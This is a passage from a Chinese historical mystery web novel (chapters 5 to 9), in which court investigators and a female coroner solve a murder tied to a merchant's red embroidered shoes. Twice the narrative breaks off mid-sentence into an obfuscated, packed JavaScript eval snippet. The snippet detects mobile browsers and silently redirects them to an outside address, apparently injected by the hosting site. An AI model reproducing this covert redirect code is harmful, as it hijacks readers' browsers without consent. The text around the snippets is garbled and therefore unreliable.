“春杏?”王启仁脸上露出恰到好处的惊愕,“那丫头是内人房里的,定是这死丫头手脚不干净,偷了府里的银钱出去做了这鞋。大人明鉴,此事草民确实毫不知情啊!”他语气激动,连忙跪下,仿佛蒙受了不白之冤。 “哦?是吗?”谢知津不动声色,“那便请春杏姑娘出来一问,如何?” 王启仁僵笑,眼神下意识地瞟向内室方向,迟疑道:“那丫头今日告假出府了,不在府中。” “告假?”谢知津长眸微蹙,目光一冷,“何时归来?” “约莫,约莫要两三日后吧。” 正巧府中下人进来奉茶,王启仁才悄悄松了口气。 “这是今年的新茶,两位尝尝看合不合口味。”王启仁讪讪一笑,请他们品茶。 谢知津他们也不好辜负美意,抿了一小口,恭维了两句好茶,又切入正题,“我瞧您这屋子里头净是些玉器,恰好,我这位朋友也喜欢这些,不知可否让咱们开开眼。” 王启仁迟疑了半分,应是找不到什么理由拒绝,“当然可以,请便。” 林怀州起身径直走向内侧摆放茶具的紫檀木方桌旁,那桌角处沾染着一点极其微小,若不仔细看绝难发现的红色痕迹。 他轻揩,先是嗅了下,后就着烛火仔细观察。那一点红色,与桑皮纸中包裹的辰砂颗粒,色泽,质感,一般无二。 林怀州转过身,平静地看向王启仁,“王员外,府上的桌角,为何会沾染玉容斋独有的金陵朱?” “若按您方才所说,春杏姑娘手脚不干净,也许是偷盗财物才得了这口脂。那她为了生计,应该尽量藏好不被东家发现才是,怎会这么不小心将此物染在桌角?” 王启仁如遭雷击,整个人僵在原地,张大嘴巴,看着林怀州指尖那一点刺目的红,脸色惊变,嘴唇哆嗦着,“就是她不小心,就是……” 他瞧着谢知津洞悉一切的神情,瘫坐在太师椅上,面如死灰。 “得了,咱们也别在这耽搁了,该换个地方聊聊了。” 若非林怀州眼尖,他们原打算等夜深人静之时再来一探究竟,如今得了些门道,谢知津便吩咐下去,让林怀州带人将此处都仔细搜查一遍。 他先是让人叫来了府中丫鬟,尤其是同春杏相熟的,一一查问。 王员外的夫人,戚氏得知他已被大理寺的人带走,匆忙出来关心情况。 戚氏的样貌好,身材丰庾,举手投足间都是风情,“还请大人明察,我家官人是绝不可能做出此等伤天害理之事的。” 说着,戚夫人便哭了起来,美人落泪,楚楚可怜,任谁看了该都会心软的吧。 “若他没做过,大理寺也不会冤枉了他。”谢知津不想同妇人多做纠缠,叫她起身坐在一旁,“听王启仁说,春杏是在你身边服侍的?” “回大人的话,正是。我身边原来的丫鬟到了婚配的年龄我便将她嫁了出去,后来我见春杏伶俐,样貌也不错,便让她来身边服侍了。” “那夫人可曾让春杏去定做绣鞋?” 戚夫人用帕子揩泪,“半月前我家大姑娘回来时,官人说大姑娘的鞋有些旧了,便说 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大理寺同员外府不远,按照周蔚的身手,抓个春杏应该不难,只希望不要出什么变故才是。 正出神,林怀州突然问,“大人你不觉着那戚夫人有些怪吗?” 他想了半天也不知道该不该问,可又的确心痒难耐,于是才开口问。 “你也看出来了?”谢知津收回看向马车外的目光,“我们前脚刚抓了王启仁,后脚她便来了。而且如今已更深露重,寻常人家早便休息了,可你看她,未卸钗环,似乎就像在等着我们来一样。” “我听说啊,这戚夫人同王启仁感情甚笃。她少时便仰慕王启仁,只不过后来王家为了巩固自己的势力娶了周家的大姑娘,后来周大姑娘过世没多久戚夫人便被抬成了正室。你说能不能是戚夫人关心,知晓他病了,所以衣不解带的照顾。”林怀州问。 “关心?”谢知津反问,“我且问你,若你夫人病了,你有心情精心挑选衣物,把自己打扮的玉树临风吗?” 说到夫人,林怀州登是便想到了春鸢。若说她病了,他一定会守在床前彻夜不离。 “那万一就是戚夫人太过在意自己的容貌呢?” 谢知津也不知该说什么,待马车一停,他便跳下车,急忙忙的要提审王启仁。 周蔚只比他们早到了一刻钟,回来的匆忙,若非林怀州着急地问,他险些忘了自己脸上的血。 “怎么回事?” “我也不知道,是有人要杀春杏。但我的武功在那人之下,我本来以为今儿小命都要赔进去了,可是后来不知道从哪冒出来个人,帮了我。” 林怀州心都提到了嗓子眼,“你没受伤吧。”他险些把周蔚从上到下摸了个遍。 “没受伤。”周蔚擦了把脸,“这血是那人的,不是我的。” “没受伤就好,今夜大家都累了,先回去休息吧,剩下的事我来做。” 6. 第 6 章 谢知津原本想着今夜自己要熬一个通宵才能将王启仁和春杏提审完,后来林怀州非要同他一起审,他这才有机会早休息一会儿。 谢知津是将二人分开一起提审的,王启仁是个老油条,便交由自己。 “你可认识柳雪吗?” “不认识。”王启仁想都不想,一口回绝,此刻的他,远比在府邸时心理状态好的多。 “我们找到了春杏。”谢知津试图让他自己开口交代,“是你派人去杀她的吗?” 王启仁疑惑的笑笑,“什么?我杀她,我杀她干什么?” “我是个老实人,从不做伤天害理的事?” “我劝你老实交代,这样日后还能减些刑罚。” 王启仁还是老样子,一口咬定一切都与他无关,“我都说了,不认识,大人难不成想冤枉好人,屈打成招?” 如他所说,谢知津的确不能用刑,如今只盼着,春杏先交代,这样才能继续审下去,否则也只能放他回府。 “不然,我们来讲讲你和你夫人的事吧。”谢知津想到马车上同林怀州探讨的话题,“听说,你和你夫人伉俪情深,我倒还挺想知道你们的故事的。” 王启仁虽然不知道他葫芦里卖的什么药,但总比一直审问他柳雪的事强。 “我和我夫人少时便认识了,那时候我们早便私定终身,只不过那时父亲不允我们在一起,还给我定了别家的亲事。可后来我还是娶了她,婚后我们伉俪情深,感情甚笃,待我夫人周氏一过氏,我便抬她为正妻。” “可据我所知,你同戚夫人时长争吵,感情并不好!” 谢知津回头瞧,来人虽只梳着简单的发髻,着一身素色衣裙,却还是有种华贵典雅之美。 “你怎么来了?” “小王爷喝醉了,口中一直念着你的名字,还请谢大人派人将他带走,我那庙小容不下一尊大佛。” 谢知津眸色一暗,别过头去,“郡主稍待,待我将手头之事处理好后便亲自去接他。” “郡主方才说,王员外同戚夫人的感情并不好,这是从何说起啊?” 王启仁也明显有些恼火,“我同内子的事,她人怎会知晓?一定是别有用心之人信口胡说。” “前月贾夫人寿宴,戚夫人受邀前去,我瞧她身上有多出伤痕便给了她些不会留疤的药。我也有问过戚夫人,可她却只说是自己不小心摔着的,可我是仵作,怎会瞧不出那分明就是受重击所致。” “那也不能证明就是我所为。”王启仁依旧狡辩。 “的确。”明荔睫毛微闪,“不过你说你少时便同戚夫人私定终身了,可据我所知,戚夫人当年被许给了兖州贺家,不过后来贺家子高中嫌弃她出身低微,这时你又恰好出现,说要娶她,你们这才走到一处。” 谢知津只是坐在一旁静静听着,投来欣赏的目光。 “可贺家究竟为什么会突然嫌弃戚夫人出身低微呢?我想你王员外谁都清楚。”明荔的目光突然瞧向谢知津,倒是惊的他别开眸子,一瞬间搞出了一百个假动作。 “是,我是用了些非常手段。”王启仁从容道,“那贺家就是一个破落户,若不是我给他银钱,让他宴请名师恐怕他也不会中榜。为了表达对我的谢意,我向他要一个女人怎么了?” “怎么了?”谢知津终于起身开口,“若不是你为了自己的私心,戚夫人和自己的心上人如今应该幸福美满的过完一辈子。” 王启仁低着头,理了理自己的袖子,“什么幸福美满,都是狗屁。她跟着我享了多少年的清福,现在居然还想着背叛我,做梦!”他恨的咬牙切齿,“不过这都是我的家事,大人有时间问这些无用之事,倒不如想想怎么早日捉到真凶才是。” “放心,就算你不说,春杏也会说的,只是时间问题而已。” 谢知津给明荔搬了张方椅,又给她倒了杯茶,“咱们就在这等,看看春杏那头怎么说。” 谢知津说的没错,春杏只是个丫鬟,命都是握在别人手里的,为了保全自己,一定会供出别人来。 林怀州提审春杏之事,将半盒口脂和绣花鞋直接摆在她面前,让她认真看仔细看。 起初春杏也是一口咬定那双鞋是为她家大姑娘定做的,可后来林怀州讲到了她的父母。 “春杏,你想想你的家人,若是你现在老实交代事情或许还有转机,可若是你包庇王启仁,在大狱里蹲个一年半载的,那你父母怎么办?我听你王府里同你交好的明月说,你母亲病了,近几日刚见好转,若是她知晓此事,会不会……” 春杏一慌,抬头对上他的目光,“此事跟我无关,我只是按照老爷的要求定做绣花鞋而已,此外的事我一概不知。” “唇脂呢?你房里的唇脂,哪来的?” “偷,偷的。”春杏声音愈来愈低,“我去拿唇脂的时候,偷偷藏了一盒。” “你可认识柳雪,柳娘子?” “认,认得。” “她是,老爷的,情人。” 两间屋子里的人几乎同时说出此话。 “那你为什么杀她?”谢知津怒斥道。 “别在查下去了,没什么好处。” 林怀州这边提审完春杏后赶忙过来向他复命,据春杏交代,王启仁每次都会让官家将一些财物送到京郊的小院去,有次官家告假,还是她亲自去送的。 京郊外的小院位于一条僻静的巷子深处,青砖围墙,黑漆木门紧闭,门上并未落锁,只虚掩着。院子不大,收拾得却颇为整洁,墙角种着几株半死不活的兰草,一口石井静静地立在角落。 谢知津站在院中,目光极快地将院子扫了一遍。 没有打斗的痕迹,也没有血迹。 “仔细搜,任何角落都不要放过。”谢知津对周蔚吩咐道,自己则率先走向正屋。 屋内陈设简单,一桌两椅,一张妆台,一张卧榻。家具皆是普通檀木材质。 明荔首先走向妆台。台面上只有一把普通的木梳,几支素银簪子,一个盛着劣质铅粉的敞口瓷盒。 “口脂盒不见了。”明荔轻声道,“妆奁里什么都有,唯独却了口脂,这样怎么成一个妆面呢。” 林怀州会意,立刻命人在屋内仔细寻找可能藏匿物品的角落。 谢知津则走到卧榻边,俯身仔细检查床铺。被褥叠放整齐,他伸手探入枕下摸索。 “大人!” 林怀州在帘子后头发现了个小盒子,里头放了好几封信。 信纸粗糙,字迹娟秀却略显稚嫩。 “父亲病体可有好转?女儿心中甚是挂念。前日送去之银钱,望能解燃眉之急,女儿一切都好,勿念。” “兄长婚事在即,所需聘礼甚巨,女儿实在无力筹 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他将目光落到明荔身上,一屋子的男人,只有她身形娇小。 “不知郡主,可否……” 谢知津还未说完,明荔白了她一眼便俯身准备爬进去。 “小心,别磕到头。” 谢知津也一直俯身在外头等,手扶在床沿处,避免她不小心碰到。 匣子里面并非金银,而是一个摔得粉碎的白色小瓷盒,将瓷盒拼起来,盒底依稀可见玉容斋的标记。瓷盒碎片旁,还有几缕纠缠在一起的,颜色不同的丝线。 明荔的目光转向那几缕丝线。一缕是素白色的棉线,另一缕,则是深蓝色的、织法更为细密坚韧的棉线。这种线,通常用于缝制男子的劲装或军中服饰。 随后又走向窗边,窗户是从内闩着的,积着一层薄薄的灰尘。可凑近仔细观察,在窗台外侧的边缘,灰尘上有半个模糊的鞋印,脚印前端较深,后端浅,像是有人曾在此借力蹬踏。 “拓下这个鞋印。”明荔指示道。 这或许是除了王启仁和柳雪之外,第三个到过此地,甚至可能目睹或参与凶案的人。 勘查持续了近一个时辰,将小院里里外外梳理了数遍。除了上述发现,并未找到更多直接指向凶手的物证。 待返回大理寺时,已是亥时三刻。 他将信甩到了王启仁身前,谢知津见到王启仁,语气带着冷意,“这嫁妆贷是怎么一回事?” “什么怎么回事?”王启仁摆弄着桌上的信,毫无悔过之心,“她父兄欠钱,她来还钱,天经地义。” “好,我再问你一个问题。” “你为什么要给她穿上那双绣花鞋!” 王启仁瞧他怒极的样子,心里顿觉好笑,“我有病,有病!哈哈哈啊哈哈,哈哈哈哈哈哈。我有病!” “你!!” 谢知津强压下心里的火气,“把这个疯子给我关起来!” “王启仁有杀人动机,也有条件,”明荔分析道,“但现场出现的深蓝丝线和陌生鞋印,说明当时可能还有第三者在场。而且,若真是王启仁杀人,他何必多此一举,特意给死者换上那双引人注目的红绣鞋?这不合常理。” “军中用线王启仁一介商贾。除非是家中中曾有过行军之人。” 7. 第七章 天色已晚,周蔚奉命护送明荔回府后,便将齐放背了回来。 因明日一早便要早起查案,几个人便在大理寺凑合一宿。 四个人并排躺在一个大通铺上,谢知津闭着眼,还未熟睡,想到案子便又吩咐了几句,“周蔚,明日你带人去找那李屠户,问问柳雪父兄的事。” “好的大人。” “怀州的话,便同我一道去查一下今日在别苑内拓下的脚印吧。” “好。”林怀州应声,“那,那个春杏怎么办?” “放了。她只是做了身为一个婢女该做的事,她没错。” “好,我明天便去办。” 也不知是何时睡着的,再醒来时天已大亮。 周蔚办事回来在外头敲了不下五次门,这才听到里头有人回应。 谢知津捏捏眉心,意识到自己睡过了头,轻拍了下额头,赶忙穿好鞋前去开门。 “大人,我把柳雪的兄长,柳年带来了。” 谢知津急忙随着他出去,“你们怎么不叫我。” 周蔚回道,“大人昨夜忙了一宿,我同林大人瞧您睡得香实在不忍心叫您,便按照您昨夜的吩咐各自办事去了。” “下次无论发生什么事记得叫我。” “好的大人。”周蔚应声。 …… 柳年被牢牢绑在讯问室的木椅上,他二十出头年纪,身材不算高大,浑身透着一股市井混混的油滑与戾气。眼袋浮肿,嘴唇干紫,看起来昨夜又是在赌桌上熬了通宵。 见到谢知津和周蔚进来,他先是下意识地缩了缩脖子,随即嚷道:“官爷!官爷这是做什么?小人可是安分守己的良民,为何无故抓我?” “安分守己?”谢知津在主位坐下,声音不高,“柳年,你妹妹柳雪死了,你可知道?” 柳年浑身一颤,脸上瞬间闪过一抹惊惶,但立刻被更浓重的无赖神色掩盖:“死,死了?她怎么死的?官爷,我跟她早就没什么来往了!她自甘下贱去给人做外室,丢尽了柳家的脸面,她的死活跟我没关系!” “没关系?”周蔚站在谢知津身侧,“你父亲病重卧床,你婚事在即,所需聘礼巨万,家中欠下巨债。你数次逼迫雪娘向王员外索要钱财,甚至在她死前最后几日,还曾上门威逼,可有此事?” 谢知津将昨夜从小院中搜出的信件内容,择要道出。每一句话,都像一记重锤,敲在柳年的心防上。 柳年的脸色不甚好看,眼神闪烁不定,嘴唇哆嗦着:“你,你们胡说!那都是她自愿的!她是柳家女儿,帮衬家里天经地义!” “自愿?”谢知津冷笑一声,指尖敲了敲桌面,“她是你妹妹,和你从小一起长大,你就拿他当转钱的工具?柳年,你妹妹死了,最大的受益人,似乎就是你。拿了她的卖身钱,再去填你的赌债和聘礼,是不是?” “没有!我没有杀人!”柳年猛地挣扎起来,嘶吼道,“我是去找过她要钱,那天晚上我是去过她那里!可我去的时候她还好好的!我只是骂了她几句,说她没用,连点钱都要不来!后来,后来我就走了。” “哪天晚上?具体时辰?”谢知津立刻追问。 “就,就三天前的晚上,大概戌时前后。”柳年喘着粗气,“我走的时候,她还好好的呢,我真的没杀她!官爷明鉴啊!” “谁能证明你戌时之后离开了?”谢知津逼视着他。 “我,我去了城东的顺来赌坊,一直赌到快天亮,赌坊的王老五,还有李狗儿他们都能作证!”柳年急忙喊道,仿佛抓住了救命稻草。 谢知津对周蔚使了个眼色,周蔚立刻转身出去核实。 讯问室内陷入短暂的沉默,只有柳年粗重的喘息声。谢知津与周蔚交换了一个眼神。 约莫一炷香的功夫,周蔚返回,在谢知津耳边低语几句。 谢知津眉头微蹙,对柳年冷声道:“你的行踪,我们自会核实。但你纠缠雪娘,逼迫钱财,亦是事实。暂且收押,待查清再行处置!” 二人不顾柳年的喊冤声,衙役将其拖了下去。 “大人,赌坊那边证实,柳年确是戌时三刻左右到的,之后一夜未离。”周蔚回禀道。 “戌时三刻……”谢知津沉吟道,“从芸娘居住的城西小院到城东顺来赌坊,快步行走也需近半个时辰。若他戌时离开小院,时间上倒是吻合。但他只是说骂了她几句,屋内摔碎的口脂盒,窗外的陌生鞋印,又作何解释?” 谢知津指节轻叩桌面,发出沉闷的响声:“柳年有动机,但可能并非直接行凶者。王启仁矢口否认,现场又有第三人痕迹……此案,比预想更为复杂。” 良久谢知津目光一凝:“我想再验一次芸娘的遗体。初次检验,重点在于确定死因与身份,或有细微之处未曾留意。” “那我去请明郡主?”周蔚问。 “不用,我亲自去。” 刚起身,外头便有人来报,说是王启仁的夫人,戚氏,前来面见寺卿大人。 “大人,她莫不是来为王启仁开罪的?”周蔚问道。 “不会。” 谢知津也不知道自己为何如此确定,可就是直觉,直觉告诉他,戚夫人绝不会为王启仁开罪,甚至更盼着他死。 入正堂之前,谢知津在暗处瞧了戚夫人一段时间,那时她正悠闲的品茶,轻理衣袖。 而后,他出现时,戚夫人便登时变得紧张起来。 “大人,民妇想了好久,有一事觉得还是得让大人知道。” “夫人请讲。” 谢知津示意她坐定说话。 “那夜大人走了以后,我们府中有位护院便不知所踪。我叫人去找,找了两日也没有找到。” “何人?” 戚夫人是做足了准备来的,“叫王元,以前是跟在我们老爷身边侍候的,后来因为一些小事触怒了老爷,他便被派到了别处。” 谢知津又问,“夫人可否让咱们再次入府瞧瞧这王元的住所?” “当然可以。”戚夫人欣然答应,彼时眼中已瞧不出任何紧张担忧的神色。 院门大开,春杏引他们前往王元的住所去。 谢知津进去搜查,周蔚则在外头盘问下人。 按照之前在小院的查探,只需要比对那半之脚掌的鞋印即可。 他从榻上取了一双王元的鞋,同所得鞋印比对,基本吻合。 随后,周蔚来报。 “大人。”周蔚语速很快,“王家共有护院八人,仆役二十余人。其中三人近几日行为如常,当值记录清晰。唯有,王元,曾效力于京畿厢军,去年才被王家聘为护院。此人嗜赌,欠下不少赌债,王府管事都知晓。但奇怪的是,约莫四五日前,他突然将欠利钱铺的债都还清了。” “突然还清?”谢知津眼神锐利起来,“查清他还债的钱是哪里来的了吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697077|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没有。” “去找王元的人有消息了吗。” 临来王府前,谢知津便已经派人在城中找人。 “也没有。” 外头候着被盘问过的一个身材高大的男人,回道,“王元是最敬重他母亲的,大人若想找他,不如去他老家瞧瞧。” 谢知津闻言,指尖在袖中微微一顿。他抬眼看向那回话的高大男人,对方是王府的老护院,瞧着不似说谎。 “王元老家在何处?” 老护院忙躬身回道:“就在城郊三十里的王家村,小人早年跟他闲聊时听他提过,说他娘身子弱,一直独居在村里的老屋里。” 谢知津当即转身对周蔚道:“你留在此处,一是继续追查王元还债的钱财来源,二是盯着戚夫人的动向,她今日主动报信太过顺遂,未必没有后手。” “属下明白!”周蔚拱手应下,又补了句,“大人那王元怕已是穷途末路,需不需要带两个衙役随行?” “不必。”谢知津抬手回绝,“人多反而打草惊蛇,我独自去即可,日落前必回。”说罢,他便快步出了王府,翻身上马朝着城郊方向疾驰而去。 王家村坐落在一片低洼的田埂边,村口只有几个老人坐在槐树下晒太阳。谢知津勒住马,翻身下来,刚要上前询问,便见一个穿着粗布短褂的孩童蹦蹦跳跳地从村里跑出来,手里还攥着半块麦饼。 “小孩,可知王元家的老屋在何处?”谢知津蹲下身,声音放轻了些。 孩童眨巴着眼睛,打量了他一番,又看了看他身上的官服,怯生生地指了指村东头:“在那边,最里头那间破瓦房,他娘前几日还在门口晒豆子呢。” 谢知津顺着孩童指的方向走去,越往村东头走,房屋越显破旧。很快,他便看到一间新盖的瓦房。 “有人吗?”谢知津轻唤了一声,无人应答。他掀开帘子走进屋,目光扫过四周,突然注意到炕边的地面上,有几滴暗红色的痕迹。 像是干涸的血迹,被人用泥土草草掩盖过,边缘还残留着一点未清理干净的印记。 他蹲下身,用指尖捻起一点泥土,凑近鼻尖闻了闻,隐约有淡淡的血腥味。正待细查,院外突然传来一阵急促的脚步声,伴随着一个妇人的哭喊:“我的儿啊!你怎么就这么走了……” 谢知津立刻起身走到门口,只见一个头发花白的老妇人被两个村民搀扶着,哭得上气不接下气,眼角的皱纹里还挂着泪珠。老妇人看到谢知津的官服,哭声顿了顿,随即扑通一声跪倒在地:“官爷!求您救救我儿王元啊!他肯定是被人害了!” “老人家先起来说话。”谢知津伸手将她扶起,“你怎么知道王元出事了?” 老妇人抹了把眼泪,哽咽道:“前儿个傍晚,他突然回了趟家,塞给我一包银子,说让我好好过日子,以后别再惦记他。我问他出了什么事,他只说要去一个远地方,还说,还说若是他不回来,就让我别找他。” “王元回家时,身上可有伤口?或者有没有说过什么特别的话,比如见过什么人,去过什么地方?” 老妇人想了想,摇了摇头:“他身上倒没见伤口,就是脸色特别白,说话也慌慌张张的,像是怕被人追上似的。他只说让我别管。” 若王元受了伤,应当走不了多远。 如今只希望,他要保护好自己才是。 从村子里出来顺着血迹一路向北,谢知津追到了一条小河边。 8. 第 8 章 若王元受了伤,应当走不了多远。 如今只希望,他要保护好自己才是。 从村子里出来顺着血迹一路向北,谢知津追到了一条小河边。 河岸的风裹挟着水汽,吹得谢知津衣袍微扬。他放弃马而行,蹲下身,指尖拂过岸边湿润泥土里那串断断续续的鞋印鞋型印记边缘愈发模糊,像是行走者力气渐弱,每一步都踩得虚浮。 顺着鞋印往前寻了约莫半里地,河水转弯处的草丛突然传来一阵极轻的窸窣声。 谢知津按住腰间佩刀,放缓脚步拨开半人高的草,目光骤然一凝,王元正蜷缩在芦苇荡深处,肩头插着一支短箭,血已浸透了粗布衣衫。 “救,救我。” 说完这话,王元便昏了过去。 ### 周蔚搜查王元住所时,在他的衣柜底下发现了一件粘了血的衣衫。 衣服的左上臂袖口处,有一道细微的裂口,像是被什么尖锐的东西勾破的。 将证物带回,周蔚和林怀州便在大理寺一直等候谢知津。 大概巳时正,谢知津才从庄子里回来。 “大人,怎么样抓到王元没有。” 王元身子虚弱,已经没有力气再来堂上仔细交代,索性谢知津便手书了一份认罪书,让王元签字画押。 据王元交代,三天前晚上,大概戌时末,员外突然秘密召见王元。 王启仁说柳雪拿了他的把柄,不断勒索钱财,还要将他的一些私事抖出去,王启仁忍无可忍,便让王元去杀了她。事成之后,王启仁给了王元五十贯钱,帮她还清了赌债。 “他所说的私事是何事?”谢知津追问。 “小的不知道,员外从未明说。”李王元惶恐道。 “说说你是怎么杀的柳雪罢。” “那晚我估摸着时辰差不多了,换了便装,翻墙进了芸柳雪的小院。我本想逼问她到底拿了员外什么把柄,或许,或许还能多捞点好处。没想到那女人性子烈得很,不仅不说,还抓起梳妆台上的口脂盒砸我,骂我们是禽兽。我一时恼怒,就,就从后面扼住了她的脖子。” “后来,我确认她没气了,正准备按员外吩咐,制造她携款私奔的假象,把她值钱的东西拿走。这时,员外之前交给我的一个包袱掉了出来,里面就是,就是这双红绣鞋。员外吩咐,一定要给她穿上这双鞋。我当时不明白,但也不敢多问,就,就胡乱给她套上了。然后,我把她从后窗拖出去,背到汴河边,找了个僻静处扔了下去。” “王启仁为何一定要给死者穿上这双鞋?”谢知津问道。 “小的真的不知道啊!员外只说,说‘穿上这鞋,有些人自然就知道该怎么想了’小的愚钝,实在不明白这话的意思。” “穿上这鞋,有些人自然就知道该怎么想了”?周蔚和林怀州齐齐低语。 “眼下能解开这团谜题的恐怕只有王启仁了。” 再次提审王启仁的时候,他的神色还是一如往常。 说不上镇定,可却仍然是那般成竹在胸。 “是,是我指使王元去的。”王启仁的声音嘶哑干涩,“柳雪她不知从何处,知晓了我的秘事,我这才出此下策。” “什么秘密”谢知津紧追不舍。 “我都说了是秘密,还能让你知晓?”王启仁不屑的笑了笑,随即抬头瞧了瞧屋顶,“我应该出不去了罢。” “你若老实交代,还有从轻发落的可能。” 王启仁又是冷冷一笑,“人是我杀的,这就是我所有的交代。” 周蔚看他这样子,按捺不住,厉声喝道:“你以为这般顽抗便能了事?王元已全盘招供,你指使他杀人抛尸,还特意让他给柳雪穿上红绣鞋,这事你如何解释?” 王启仁垂着眼,指尖无意识地摩挲着袖口,半晌才抬眼看向谢知津,嘴角勾起一抹诡异的笑:“红绣鞋,红绣鞋。有朝一日,大人会知道的。” 约摸王启仁嘴里是得不到什么有用的消息的,将其下狱后,几人便坐在屋里发呆。 “我就没办过这么憋屈的案子。”周蔚气鼓鼓的,一屁股坐在方椅上。林怀州的手撑在他肩头,“不止你,我也是第一次遇见。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697078|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “走吧,再去趟王府。”谢知津突然起身。 “还去做什么?” “找戚夫人。” 再至王府时,门口的牌匾已换成了戚府。 入内后,由春杏引着,一路往里头走,“大人今日来的巧,明仵作也来了,我家夫人正要请她用饭呢。” “明仵作?” 一行人至正厅后,春杏为他们添上了碗筷。 “明荔和谢大人还真是心有灵犀呢,案子才结束便都往我这跑。” 谢知津和明荔互相看了眼,随后谢知津向戚夫人敬了杯酒,“夫人聪慧过人,那在下便不跟您绕弯子了。” “我知道你想问什么。方才明荔也问过我。”戚夫人看向他们,“大人是男子,永远不会懂咱们女人的处境。那双绣花鞋的确是王启仁为柳娘子所制,之所以不合脚,那是春杏一时犯了迷糊。后来,是我让人帮你们找到了春杏,再后来,也是是我让你们来查王元的,我就是想让王启仁永远都出不来,这样我才能有翻身的可能。” “夫人误会了。”这些事,谢知津其实心里都有数,很早以前,他便觉着是戚夫人故意引她们去查案子,“我想问的是,王启仁有没有跟什么人来往密切,据王元交代,柳娘子是知晓了王启仁的秘密才被杀害,可我问什么王启仁却又不说,所以这才想来问问夫人。” 戚夫人捏着酒杯的手微微一顿,眼中的情绪复杂,“这事妾身的确不知道。以往家中来贵人之时,王启仁都会让妾呆在院子里不准出门。就连奉茶这等小事,他都亲力亲为。” “那一般来人都是何时来?”明荔问。 “有时半个月,有时一个月。”戚夫人眉头紧锁,“不过近两个月,那几位客人倒是再也没有来过。” “府中这么多人,当真无人见过他们吗?” “无人。”戚夫人仔细回忆,“他们来时都很神秘,披着头蓬,带着面巾,且王启仁都会遣散下人,所以当真无人见过他们。” 戚夫人叹了口气,点了点头:“我知道的,都已经告诉你们了。余下的我也无能为力。 9. 第 9 章 王启仁的案子至此便就结束了,不过那双绣花鞋,谢知津把他保存在了大理寺,按他所说,日后恐怕还会有事发生。 昨夜多吃了酒,今儿早起来还是有些头痛。 一早上周蔚便给他送来了早食,“大人,早膳我给你搁这了您记得吃。” 他依稀记得,昨晚好像是明荔送他回来的。 醉酒口不择言,马车里谢知津靠在明荔肩头,蹭着她的颈窝,“你别不要我行不行,你知不知道我有多喜欢你。” 这男人,哭了。 明荔的锁骨处还残留着她的热泪。 之前听宁儿的意思,约摸是原主父母死的过于蹊跷,原主不想连累谢知津,这才把他推开。 都说相爱可抵万难,不过对于原主来说,还是让心爱之人独善其身的好。借了人家的身体,也应当遵循原主的意愿。 “明郡主呢?”谢知津端起粥碗吹了吹,又假意问起,“怀州呢,怎么都不在。” 周蔚是个心直口快的,有什么便说什么从不藏着掖着,“听说京里头来了位贵人,明郡主和林大人都去陪着了。原本林大人也是想叫您一道去的,后来明郡主说您事忙,便不叨扰您了。” “贵人?”谢知津疑惑,什么人能来大理寺这种地方,“可知道长什么样子?” 周蔚摇摇头,“没瞧见。” “罢了,待用过饭,咱们也去拜会就是了。” 明荔并不知道赵崇为何来此,接到消息的时候,她还在榻上窝着睡懒觉。 一听说当朝太子,原主的未婚夫来了,她才叫了宁儿来恶补功课。 据宁儿所说,赵崇天资聪颖,文武全才,可就是这性子过于放荡,为此陛下没少责怪他。 至于婚事,皇后觉着,赵崇若是找个性子沉稳的人来管着他,也许会有所改变,这才从一众适龄闺秀中选定了明荔。 用皇后的话来说二人从小一起长大,定是有感情的。 明荔陪着他逛了一上午,肚子饿的不行。 后来,齐小王爷说,距离此地不远处有个小馆,里头菜式堪称京中一绝,请他们去尝尝。 一进门,有几位女子便迎了上来。 整个屋子,都是脂粉的香气。 她终于知道为什么齐放会对此处有这么高的评价了。 “呦——贵客来了。” 这里的人基本都认识齐放,老板娘见他来便刚忙让人带他们去二楼包厢。 “几位想吃什么同我说吧。” 齐放将菜式搁到赵崇面前,“随便点,我买单。” 赵崇只瞥了一眼,又把菜单递给明荔,“夫人来点吧,你吃什么我便吃什么。” “夫人?” 余下两人,皆是一愣。 明荔尴尬笑笑,恨不能把自己塞进桌底下。 “那我就随便点几个。” 她呵呵笑了两声,然后跟旁边候着的女侍者说,“就先要这几个,不够我们再要。” 女侍者退去后,又叫了几个姑娘来唱乐。 明荔不懂她们古人的乐趣,只觉着这乐章勉强听的过去,不过比现代音乐还是差了点味儿。 “你尝尝这个。”赵崇给明荔夹了一片肉,“我觉得挺好吃的。” 明荔轻轻‘嗯’了一声,低头一个劲的用吃的堵嘴。 大概过了有半盏茶的功夫,一曲作罢女子自屏风后起身,盈盈一拜。 “今夜画舫,店中的徐娘子会献曲拜谢各位,还请诸君赏光前往。” 若问这徐娘子,不仅曲唱的好,且善解人意,坊里倾慕她的人不少。 “一定一定。” 这屋里,一个夫人在场,另一个心系他人,只有他齐放孤家寡人,自然是不会让美人的话掉在地上。 “表哥,你今夜住在何处?”齐放是想邀请赵崇去他那里住的,这样可以彻夜长谈,“不如去我那吧,前些日子我新得了些好酒,请你品尝。” 赵崇瞧着低头吃饭的明荔,宠溺笑笑,“我自然是要和我夫人住在一处的。” 齐放,“……” 林怀州,“……” 明荔微微一愣,转眼笑道,“殿下有所不知,最近多雨,我那有些漏雨,怕伤了您的贵体,便请您去小王爷处吧。” 她巴不得赵崇离自己远远的,于是忙给齐放使眼色。 “就是,咱们也好久没一起叙旧了,不如今日就去我那儿?” 